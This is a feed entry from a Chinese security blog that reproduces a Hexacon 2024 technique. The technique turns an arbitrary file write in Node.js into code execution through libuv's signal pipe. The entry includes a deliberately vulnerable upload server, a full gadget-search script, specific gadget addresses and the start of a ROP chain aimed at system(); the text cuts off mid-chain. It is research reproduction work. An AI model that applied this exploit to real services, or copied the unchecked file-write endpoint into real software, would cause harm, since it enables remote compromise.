rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="cve-2024-41592" scheme="https://bestwing.me/tags/cve-2024-41592/"/>
    
    <category term="draytek" scheme="https://bestwing.me/tags/draytek/"/>
    
    <category term="vigor" scheme="https://bestwing.me/tags/vigor/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting File Writes in Hardened Node.js Environments</title>
    <link href="https://bestwing.me/exploiting-file-writes-in-hardened-environments.html"/>
    <id>https://bestwing.me/exploiting-file-writes-in-hardened-environments.html</id>
    <published>2024-10-15T10:23:33.000Z</published>
    <updated>2026-02-07T05:48:02.249Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>在 Hexacon 2024 上关注到了这么一个议题 《Exploiting File Writes in Hardened Environments - From HTTP Request to ROP Chain in Node.js 》， 同时该作者发了一个简单的 Blog 讲述了下这个原理以及部分细节。<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/ ">[1]</span></a></sup>  这里简单快速复现一下。</p><h2 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">const express &#x3D; require(&#39;express&#39;);</span><br><span class="line">const fs &#x3D; require(&#39;fs&#39;);</span><br><span class="line">const path &#x3D; require(&#39;path&#39;);</span><br><span class="line">const app &#x3D; express();</span><br><span class="line"></span><br><span class="line">app.use(express.json());</span><br><span class="line"></span><br><span class="line">app.post(&#39;&#x2F;upload&#39;, (req, res) &#x3D;&gt; &#123;</span><br><span class="line">  const &#123; filename, content &#125; &#x3D; req.body;</span><br><span class="line"></span><br><span class="line">  if (!filename || !content) &#123;</span><br><span class="line">    return res.status(400).json(&#123; message: &#39;Filename and content are required!&#39; &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  const filePath &#x3D; path.join(__dirname, &#39;uploads&#39;, filename);</span><br><span class="line"></span><br><span class="line">  fs.writeFile(filePath, content, (err) &#x3D;&gt; &#123;</span><br><span class="line">    if (err) &#123;</span><br><span class="line">      return res.status(500).json(&#123; message: &#39;Error saving file!&#39; &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    res.json(&#123; message: &#39;File uploaded successfully!&#39;, path: filePath &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.listen(3000, () &#x3D;&gt; &#123;</span><br><span class="line">  console.log(&#39;Server running on http:&#x2F;&#x2F;localhost:3000&#39;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>按照文章的描述， 我们先随便构造一个可以任意文件写的 nodejs 服务 （在假设环境是readonly 的情况下）</p><h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>按照文章的描述， nodejs 使用了 <code>libuv</code> 的这么一个库， 这个库在初始化的时候会的打开一个 Pipe 管道， 作者通过审计的时候发现有一个函数 <code>uv__signal_event</code> <sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433">[2]</span></a></sup></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">uv__signal_event</span><span class="params">(<span class="keyword">uv_loop_t</span>* loop,</span></span></span><br><span class="line"><span class="function"><span class="params">                             <span class="keyword">uv__io_t</span>* w,</span></span></span><br><span class="line"><span class="function"><span class="params">                             <span class="keyword">unsigned</span> <span class="keyword">int</span> events)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">uv__signal_msg_t</span>* msg;</span><br><span class="line">  <span class="keyword">uv_signal_t</span>* handle;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="keyword">sizeof</span>(<span class="keyword">uv__signal_msg_t</span>) * <span class="number">32</span>];</span><br><span class="line">  <span class="keyword">size_t</span> bytes, end, i;</span><br><span class="line">  <span class="keyword">int</span> r;</span><br><span class="line"></span><br><span class="line">  bytes = <span class="number">0</span>;</span><br><span class="line">  end = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">do</span> &#123;</span><br><span class="line">    r = read(loop-&gt;signal_pipefd[<span class="number">0</span>], buf + bytes, <span class="keyword">sizeof</span>(buf) - bytes);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (r == <span class="number">-1</span> &amp;&amp; errno == EINTR)</span><br><span class="line">      <span class="keyword">continue</span>;</span><br><span class="line">...</span><br><span class="line">    <span class="comment">/* `end` is rounded down to a multiple of sizeof(uv__signal_msg_t). */</span></span><br><span class="line">    end = (bytes / <span class="keyword">sizeof</span>(<span class="keyword">uv__signal_msg_t</span>)) * <span class="keyword">sizeof</span>(<span class="keyword">uv__signal_msg_t</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; end; i += <span class="keyword">sizeof</span>(<span class="keyword">uv__signal_msg_t</span>)) &#123;</span><br><span class="line">      msg = (<span class="keyword">uv__signal_msg_t</span>*) (buf + i);</span><br><span class="line">      handle = msg-&gt;handle;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (msg-&gt;signum == handle-&gt;signum) &#123;</span><br><span class="line">        assert(!(handle-&gt;flags &amp; UV_HANDLE_CLOSING));</span><br><span class="line">        handle-&gt;signal_cb(handle, handle-&gt;signum); <span class="comment">// callback</span></span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      handle-&gt;dispatched_signals++;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (handle-&gt;flags &amp; UV_SIGNAL_ONE_SHOT)</span><br><span class="line">        uv__signal_stop(handle);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在这个函数中， 从 <code>loop-&gt;signal_pipefd[0]</code> 读内容， 然后做一个 signum检查， 就会使用传过来的数据解引用出来一个函数指针，然后直接调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">handle = msg-&gt;handle;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (msg-&gt;signum == handle-&gt;signum) &#123;</span><br><span class="line">  assert(!(handle-&gt;flags &amp; UV_HANDLE_CLOSING));</span><br><span class="line">  handle-&gt;signal_cb(handle, handle-&gt;signum); <span class="comment">// callback</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>uv__signal_msg_t数据结构仅包含两个成员，一个句柄指针和一个称为signum的整数：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">  <span class="keyword">uv_signal_t</span>* handle;</span><br><span class="line">  <span class="keyword">int</span> signum;</span><br><span class="line">&#125; <span class="keyword">uv__signal_msg_t</span>;</span><br></pre></td></tr></table></figure><p>在这个 Pipe 是可 <code>uv__make_pipe</code> 函数创建的， 在 Docker 容器中是fd 为 11 的描述符</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-8778bac7cf173f318f9bdaef3b13b42f-071cd9.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-8778bac7cf173f318f9bdaef3b13b42f-071cd9.png" alt="image.png"></a></p><p>当然这个fd num 值更好的判断就是下一个断点， 然后简单通过 echo 发点数据就能确认 （ 不要在真实机器上测试， 会把一些 lib 写坏掉）</p><h3 id="Overview-Data-Structure"><a href="#Overview-Data-Structure" class="headerlink" title="Overview Data Structure"></a>Overview Data Structure</h3><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-4e4c234c729552c4f80708a0cac752c5-e50925.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-4e4c234c729552c4f80708a0cac752c5-e50925.png" alt="image.png"></a></p><p>对于我们来说， 我们有一个任意文件写入的方法， 我们通过这个方法往 Pipe 中写入我们构造的数据， 我们要构造的数据如上</p><p>发送过来的数据包含两个部分， 一个是 <code>*handle</code> 指针， 和 <code>signum</code>， 其中 <code>*handle</code> 指针指向的数据包含两个部分</p><ul><li><code>signal_cb</code></li><li><code>signum</code></li></ul><p>我们要构造 <code>uv_signal_msg_t</code> 的 <code>signum</code> 和 <code>uv_signal_s</code> 结构体中的 <code>signum</code> 相等， 才会调用 <code>signal_cb</code>  ， 并且， 由于我们构造的这个场景是通过 <code>fs.writeFile</code> 函数写入内容的</p><blockquote><p>用于写入文件的函数（本例中为 fs.writeFile）仅限于有效的 UTF-8 数据。因此，写入管道的所有数据都必须是有效的 UTF-8。</p></blockquote><p>如果满足上述条件， 我们就可以劫持程序流，控制程序执行到我们想要的地方</p><h3 id="Searching-Data-Structure-Gadgets"><a href="#Searching-Data-Structure-Gadgets" class="headerlink" title="Searching Data Structure Gadgets"></a>Searching Data Structure Gadgets</h3><p>由于  <code>FROM node:18@sha256:f910225c96b0f77b0149f350a3184568a9ba6cddba2a7c7805cc125a50591605</code> 我们这个方式拉取的 node 程序本身是没有开PIE的</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">osboxes@osboxes:~$ checksec node</span><br><span class="line">[*] <span class="string">&#x27;/home/osboxes/node&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>因此我们可以尝试在 node 程序中尝试找合适的 gadget。 我考虑到如果程序起来只有可能会有一些数据写在 bss 或者 data 段上， 因此我 search 的范围是将程序正常启动，然后 dump memory</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-cf8fb6fb7066bc34ccb97064a70b18fc-d7be53.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-cf8fb6fb7066bc34ccb97064a70b18fc-d7be53.png" alt="image.png"></a></p><p>由于执行到 <code>signal_cb</code> 的时候， 此时场景如下：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-0451221f0f0d61a455ffd02befc66f4d-5cee2b.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-0451221f0f0d61a455ffd02befc66f4d-5cee2b.png" alt="image.png"></a></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-e9f2be9985bd6dab1346e6fa1a9a0799-67170b.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-e9f2be9985bd6dab1346e6fa1a9a0799-67170b.png" alt="image.png"></a></p><p>我们仅仅需要找几个 <code>pop xxx , pop xxx, .* ret</code> 的 gadget 就行， 那么代码思路如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> addr, length <span class="keyword">in</span> segments:</span><br><span class="line">    <span class="keyword">for</span> offset <span class="keyword">in</span> <span class="built_in">range</span>(length-<span class="number">4</span>):</span><br><span class="line">        handle = addr + offset</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_valid_utf8(p64(handle-<span class="number">0x60</span>)):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        signum = read_mem(handle+<span class="number">8</span>, <span class="number">4</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_valid_utf8(signum):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        ptr = read_mem(handle, <span class="number">8</span>)</span><br><span class="line">        data = read_mem(u64(ptr), <span class="number">30</span>)</span><br><span class="line">        <span class="keyword">if</span> data <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        out =  disasm(data, arch=<span class="string">&#x27;amd64&#x27;</span>, byte=<span class="literal">False</span>, offset=<span class="literal">False</span>)</span><br><span class="line">        <span class="keyword">if</span> is_useful_gadget(out):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&#x27;handle&#x27;</span>,<span class="built_in">hex</span>(handle), <span class="string">&#x27;-&gt;&#x27;</span>, <span class="string">&#x27;ptr:&#x27;</span>, u64(ptr), <span class="string">&#x27;signum&#x27;</span>, <span class="built_in">hex</span>(u32(signum)))</span><br><span class="line">            <span class="built_in">print</span>(out)</span><br></pre></td></tr></table></figure><p>首先从头开始遍历， 由于调用的callback 指针是从 <code>handle+60h</code> 获取的， 因此我们第一个要校验的 <code>*handle</code> 是要减去 0x60 的， 然后从 <code>handle + 8 </code> 后取 4个字节， 作为signum ，判断这两者是否都符合 utf-8 编码， 如果是将这个指针读出来， 接着读取这个指针的指向的gadget ， 这里假设 depth 为 30 ， 然后尝试去反汇编， 然后判断这个 gadget 是不是符合 <code>pop xxx , ret</code> 的形式， 如果是将这些值打印出来。</p><p>我这里没有做更细致的处理，打印出来的 gadget  可能比较丑， 大概长这样</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-6bf3771aad3b40b87f9b4efc55d206c2-c68607.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-10-15-6bf3771aad3b40b87f9b4efc55d206c2-c68607.png" alt="image.png"></a></p><p>很幸运的是， 我的第一个 gadget 就是满足的， 且适合我用来做栈迁移的</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">root@osboxes:/home/osboxes<span class="comment"># python3 search.py</span></span><br><span class="line">handle 0x4261af -&gt; ptr: 12048128(0xB7D700) signum 0xb7d900</span><br><span class="line">pop    r12</span><br><span class="line">pop    r13</span><br><span class="line">pop    r14</span><br><span class="line">pop    r15</span><br><span class="line">pop    rbp</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>那么此时我构造出来的数据就大致长这样</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">uv_signal_msg_t.               </span><br><span class="line">          ....</span><br><span class="line">*handle (0x4261af) --------&gt;   uv_signal_s</span><br><span class="line"> signum (0xb7d900).               ...</span><br><span class="line"></span><br><span class="line">                               *signal_cb(0xB7D700) : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret</span><br><span class="line">                               signum (0xb7d900)</span><br><span class="line">                                 ...</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">content   = p64(<span class="number">0x4261af</span> - <span class="number">0x60</span>)  <span class="comment"># handle</span></span><br><span class="line">content  += p64(<span class="number">0xb7d900</span>)         <span class="comment"># signum</span></span><br></pre></td></tr></table></figure><p>这里贴下我完整的 search 脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">is_valid_utf8</span>(<span class="params">byte_seq</span>):</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        byte_seq.decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span> UnicodeDecodeError:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_mem</span>(<span class="params">addr, size</span>):</span></span><br><span class="line">    <span class="keyword">if</span> <span class="number">0x0000000000400000</span>&lt; addr&lt; <span class="number">0x0000000004ff1000</span>:</span><br><span class="line">        base = <span class="number">0x0000000000400000</span></span><br><span class="line">        data = mem1[addr-base: addr+size-base]</span><br><span class="line">    <span class="keyword">elif</span> <span class="number">0x00000000051f1000</span> &lt; addr &lt; <span class="number">0x00000000051f4000</span>:</span><br><span class="line">        base = <span class="number">0x00000000051f1000</span></span><br><span class="line">        data = mem2[addr-base: addr+size-base]</span><br><span class="line">    <span class="keyword">elif</span> <span class="number">0x00000000051f4000</span> &lt; addr &lt; <span class="number">0x000000000520f000</span>:</span><br><span class="line">        base = <span class="number">0x00000000051f4000</span></span><br><span class="line">        data = mem3[addr-base: addr+size-base]</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">is_useful_gadget</span>(<span class="params">out</span>):</span></span><br><span class="line">    dis_list = out.split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> n, x <span class="keyword">in</span> <span class="built_in">enumerate</span>(dis_list):</span><br><span class="line">        <span class="keyword">if</span> x == <span class="string">&#x27;ret&#x27;</span>:</span><br><span class="line">            <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, n):</span><br><span class="line">                <span class="keyword">if</span> <span class="string">&#x27;bad&#x27;</span> <span class="keyword">in</span> dis_list[_] :</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;mem1&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    mem1 = f.read()</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;mem2&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    mem2 = f.read()</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;mem3&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    mem3 = f.read()</span><br><span class="line"></span><br><span class="line">segments = [(<span class="number">0x0000000000400000</span>, <span class="number">0x0000000004ff1000</span>-<span class="number">0x0000000000400000</span>), (<span class="number">0x00000000051f1000</span>, <span class="number">0x00000000051f4000</span>-<span class="number">0x00000000051f1000</span>), (<span class="number">0x00000000051f4000</span>, <span class="number">0x000000000520f000</span>-<span class="number">0x00000000051f4000</span>)]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> addr, length <span class="keyword">in</span> segments:</span><br><span class="line">    <span class="keyword">for</span> offset <span class="keyword">in</span> <span class="built_in">range</span>(length-<span class="number">4</span>):</span><br><span class="line">        handle = addr + offset</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_valid_utf8(p64(handle-<span class="number">0x60</span>)):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        signum = read_mem(handle+<span class="number">8</span>, <span class="number">4</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_valid_utf8(signum):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        ptr = read_mem(handle, <span class="number">8</span>)</span><br><span class="line">        data = read_mem(u64(ptr), <span class="number">30</span>)</span><br><span class="line">        <span class="keyword">if</span> data <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        out =  disasm(data, arch=<span class="string">&#x27;amd64&#x27;</span>, byte=<span class="literal">False</span>, offset=<span class="literal">False</span>)</span><br><span class="line">        <span class="keyword">if</span> is_useful_gadget(out):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&#x27;handle&#x27;</span>,<span class="built_in">hex</span>(handle), <span class="string">&#x27;-&gt;&#x27;</span>, <span class="string">&#x27;ptr:&#x27;</span>, u64(ptr), <span class="string">&#x27;signum&#x27;</span>, <span class="built_in">hex</span>(u32(signum)))</span><br><span class="line">            <span class="built_in">print</span>(out)</span><br></pre></td></tr></table></figure><h3 id="ROP-Chain"><a href="#ROP-Chain" class="headerlink" title="ROP Chain"></a>ROP Chain</h3><p>当能栈迁移后， 后面就是拼接 ROP chain的流程了， 由于程序本身没有 system 、 popen 等函数的调用 ，所以我没有法直接 ret2text， 我将我的思路简单定成如下：</p><ul><li>找到一个 gadget 能从任意地址读取值， 然后赋值到某个寄存器上</li><li>找到一个gadget 能对可控的寄存器进行加减法运算</li><li>找到一个 libc 函数， 该函数与 system 的偏移满足 UTF-8 编码</li></ul><p>首先通过 ROPchain 将所有可能能用的 gadget 输出成一个文件， 然后重新过滤下看哪些地址是符合 utf-8</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">is_valid_utf8</span>(<span class="params">byte_seq</span>):</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        byte_seq.decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span> UnicodeDecodeError:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">lines = [ line.replace(<span class="string">&#x27;\n&#x27;</span>,<span class="string">&#x27;&#x27;</span>) <span class="keyword">for</span> line <span class="keyword">in</span> <span class="built_in">open</span>(<span class="string">&#x27;./gadgets&#x27;</span>,<span class="string">&#x27;r&#x27;</span>).readlines()]</span><br><span class="line">lines = <span class="built_in">list</span>(<span class="built_in">filter</span>(<span class="keyword">lambda</span> line: <span class="string">&#x27; : &#x27;</span> <span class="keyword">in</span> line , lines))</span><br><span class="line">lines = <span class="built_in">list</span>(<span class="built_in">map</span>(<span class="keyword">lambda</span> line: line.split(<span class="string">&#x27; : &#x27;</span>),lines))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">result = <span class="built_in">list</span>(<span class="built_in">filter</span>(<span class="keyword">lambda</span> l: is_valid_utf8(p64(<span class="built_in">int</span>(l[<span class="number">0</span>],<span class="number">16</span>))),lines ))</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> result:</span><br><span class="line">    <span class="built_in">print</span>(i[<span class="number">0</span>],<span class="string">&#x27; : &#x27;</span>,i[<span class="number">1</span>])</span><br></pre></td></tr></table></figure><p>通过这个过滤，我找到了两条 gadget</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0x0000000001097367  :  add rax, rdx ; ret</span><br><span class="line">0x0000000002176b34  :  mov rax, qword ptr [rsi] ; ret</span><br></pre></td></tr></table></figure><p>第i三个 libc 函数，我找到的是， <code>setegid</code> ， 它与system的偏移为  <code>0xb1f30</code> 符合 UTF-8</p><p>通过组合我们构造出如下 ropchain</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">content  = p64(<span class="number">0x4261af</span> - <span class="number">0x60</span>) + p64(<span class="number">0xb7d900</span>)</span><br><span class="line">content += p64(pop_rdx_ret)</span><br><span class="line">content += p64(<span class="number">0x100</span>)</span><br><span class="line">content += p64(add_rax_rdx_ret)</span><br><span class="line">content += p64(pop_rdx_ret)</span><br><span class="line">content += p64(pop_rsi_ret) <span class="comment"># next gadget</span></span><br><span class="line">content += 